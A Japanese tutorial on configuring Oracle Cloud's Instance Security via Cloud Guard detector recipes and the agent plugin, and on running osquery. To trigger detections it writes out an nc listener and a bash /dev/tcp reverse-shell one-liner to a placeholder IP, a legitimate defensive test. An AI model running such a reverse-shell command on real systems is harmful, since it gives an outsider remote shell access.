Instance Securityでコンピュート・インスタンスを監視する

OCIのコンピュート・インスタンスの脆弱性監視には、Vulnerability Scanning(脆弱性スキャン)という無償のサービスがあります。もう一つの拡張サービスとして、<b><font color=red>Instance Security</font color></b>という新しいサービスはご存じでしょうか？まずは、こちらのスライドをご覧ください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/fd2455bf-07be-4656-a845-52e1e1e04fd4.png)

Instance Securityは、従来の脆弱性スキャンの機能にプラスして、OS内のプロセスなどの挙動を監視する<font color=darkorange>CSPM(Cloud Security Posture Management)</font color>の機能を持っているサービスです。Cloud Guardから提供されるOracle Managedの検出ルールに従って定期的にOS内を監視し、検出された問題はCloud Guardと連携されます。

どういった内容を検出するかというと、2025年4月時点でのルールは下記が提供されています。上位二つのクリティカル・リスクと定義されている<font color=darkgreen>パッケージの脆弱性</font color>と<font color=darkgreen>オープン・ポート</font color>は従来の脆弱性スキャン・サービスと同じですが、それ以外のルールが新たにInstance Securityが検出するルールになっています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/75b377ba-9635-4b7b-b39f-8d0fd1b90687.png)

また、Instance Securityを有効化すると、SQLのようなクエリでOS状態の情報を取り出せるosqeuryの機能も使用できるようになります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/c065c1f1-1b83-44f0-b9c0-6a3c423a1f47.png)

Instance Securityは、基本的には有償サービスですが、1リージョンあたり5インスタンスまで、パッケージの脆弱性とオープンポートのルールのみ検出という無償の利用枠が提供されています。

今回は、このInstance Seucirtyサービスの設定および動作手順について紹介します。

## IAMポリシーの設定
必要となるポリシーは、[こちら](https://docs.oracle.com/ja-jp/iaas/cloud-guard/using/cgis-enable.htm)を参考に

## Cloud Guard側の設定
Cloud Guardを有効化されていない場合、[この記事](https://qiita.com/Western24/items/d1469545749866867191)を参照して有効化する。

クラウド・ガード -> Recipes -> ディテクタ・レシピ -> OCI Instance Security Detector Recipe - Enterprise (Oracle管理)をクリックし、クリティカルに以下の二つのルールがある、ドキュメントの[OCIインスタンス・セキュリティ・ディテクタ・ルール](https://docs.oracle.com/ja-jp/iaas/cloud-guard/using/detect-recipes.htm#)と内容が同じかどうかを確認する。
 - Scanned host has vulnerabilities
 - Processes listening on open ports
 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/aca75e44-04b1-44a2-b849-eeb00d970f72.png)

<font color=red>※注)</font color> Instance Securityは、有償利用のテナンシーのみに提供されており、それ以外のテナンシーにはこのレシピがない、もしくはルールの内容が異なっている等の場合があります。必ずレシピの内容を確認し、有償利用にも関わらず表示されているルールが違う場合は、SRにて制限解除の依頼をして下さい。

クラウド・ガード -> Configuration -> ターゲット -> Create Tagetをクリック。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/4a6686ab-8de3-4dab-84ae-f3b0599f6157.png)

ターゲット名は任意の値、コンパートメントはrootもしくは指定したいコンパートメントに
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/27901638-c1ab-4595-8a09-81a8aaf63342.png)

一番上はとりあえずOCI Configuration Detector Recipe (Oracle管理)
を選択し、IsntacesはAll Compute instancesをチェック、Instance Security RecipeはOCI Instance Security Detector Recipe - Enterprise (Oracle管理)選択し、次に進んで作成。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/c9bcca85-c2ca-4a83-b13e-6c3f2decb20c.png)

作成したターゲットをクリックし、以下のようにワークロード保護に指定したレシピが追加されていればOK
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/6b5830a0-0008-43b1-8769-53043c22be28.png)

## コンピュート・インスタンス側の設定
コンピュート・インスタンスのOracle Cloudエージェント・プラグインからCloud Guard Workload Protectionを有効化する。コンピュート・インスタンスの詳細 -> 管理 -> Oracle Cloud エージェント
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/21e93c81-a4e3-42ae-95d3-d4e4d5e43271.png)

Instance Securityは、上記の通りCloud Agentのプラグインもしくは、WLPエージェントを[手動インストール](https://docs.oracle.com/ja-jp/iaas/cloud-guard/using/cgis-update-agent.htm)することが可能です。ただ、サポートするプラットフォームは原則的にComputeのイメージから作成可能なプラットフォームになり、それ以外は自己責任です。ですので、RHELはインストールして使用することはできるかもしれませんが、現在は公式にはサポートされていません。

必要となる設定はこれで完了です。ポリシーの設定が正しくできていれば、脆弱性パッケージとオープンポートのチェックはDailyで実施されるので翌日にはCloud Guardの問題のページに表示されていると思います。
次は実際にOS内のアクティビティに対してInstance Securityが検出する例を試してみます。

## Instace Securityのルールに該当するアクションを実行
プラグインを有効化したLinuxのコンピュート・インスタンスで、以下の二つの操作を実行しておく

- ルール: Possible reverse shell on system processesを検出させる
```
$ nc -vnlp 4444 --外からの接続を待ち受け 
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

異なるインスタンスからリモート接続する
$ bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1
```
- ルール: Suspicious cron job running from home profile を検出させる
```
$ crontab -e  --cronに以下を追記
*/30 * * * * data > /home/opc/data.log
```

## Cloud Guardで検出したルールを確認
上記の二つのルールは4時間ごとにチェックされるので、時間が経過した頃合いをみてCloud Guardのコンソールをチェックする。クラウド・ガード -> Alerts -> 問題 -> ディテクタ・タイプをInstance Securityでフィルタする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/f9d0ecb8-326f-4a99-a149-338f1daf6be7.png)

Possible reverse shell on system processesルールの検出結果の詳細
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/2fd6ad98-f683-4f69-a661-d42d94b4705c.png)

また、24時間経過すればProcesses listening on open portsルールも検出される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/4357f6b6-a116-4be7-88f2-b31ff0289de6.png)

Instance Securityの検出ルールは、Windows向けのものが比較的多く用意されていますので、Windowsのコンピュート・インスタンスでも是非試してみて下さい。
また、検出ルールはOracle Managedなのでユーザーによる作成やカスタマイズというのはできませんが、こういうルールが必要という要望はwelcomeですので、SRでのエンハンス・リクエストなどを活用頂ければと思います。
次は、WLPエージェントがosqueryを実行してCloud GuardにOS情報を表示する方法を試してみます。

## osqueryを実行する
クラウド・ガード -> Queriesをクリックし、ScopeをTargetsでAll targetsを選択、下記のSQL Queryをコピーして実行

```
SELECT pid, uid, name, ROUND(((user_time + system_time) / (cpu_time.tsb - cpu_time.itsb)) * 100, 2) AS percentage FROM processes, (SELECT (SUM(user) + SUM(nice) + SUM(system) + SUM(idle) * 1.0) AS tsb,SUM(COALESCE(idle, 0)) + SUM(COALESCE(iowait, 0)) AS itsb FROM cpu_time) AS cpu_time ORDER BY user_time+system_time DESC LIMIT 5;
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/18e4845e-b447-4602-9cea-acaf2367dfb7.png)

クエリー完了後、以下のようにTop5のプロセスが表示される。osqueryの具体的な使用方法は[こちら](https://github.com/osquery/osquery?tab=readme-ov-file)。また、Past queriesから結果をcsvファイルとしダウンロードやScheduled queiresから定期的な実行ができる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562423/41c19e85-347c-4eb9-9d74-e2ed645a1312.png)

以上で、ひと通りのInstance Securityの機能紹介は終了です。脆弱性スキャンの設定や動作は、少し古いですが[ここ](https://qiita.com/Western24/items/ed24a60b870731983bb8)から確認できます。
<b><font color=royalblue>脆弱性スキャン</font color></b>は、シンプルで見やすくまとめられた無償のインスタンス監視サービス、<b><font color=coral>Instance Security</font color></b>は、昨今求められているCSPMの流れを汲んだサービスとして提供され、脆弱性スキャンの後継サービスとして機能拡張がされていく期待のサービスとも言えます。どちらか一方を強く推奨しているわけではないので、セキュリティ要件やコストに応じて、上手に使い分けて頂ければと思います。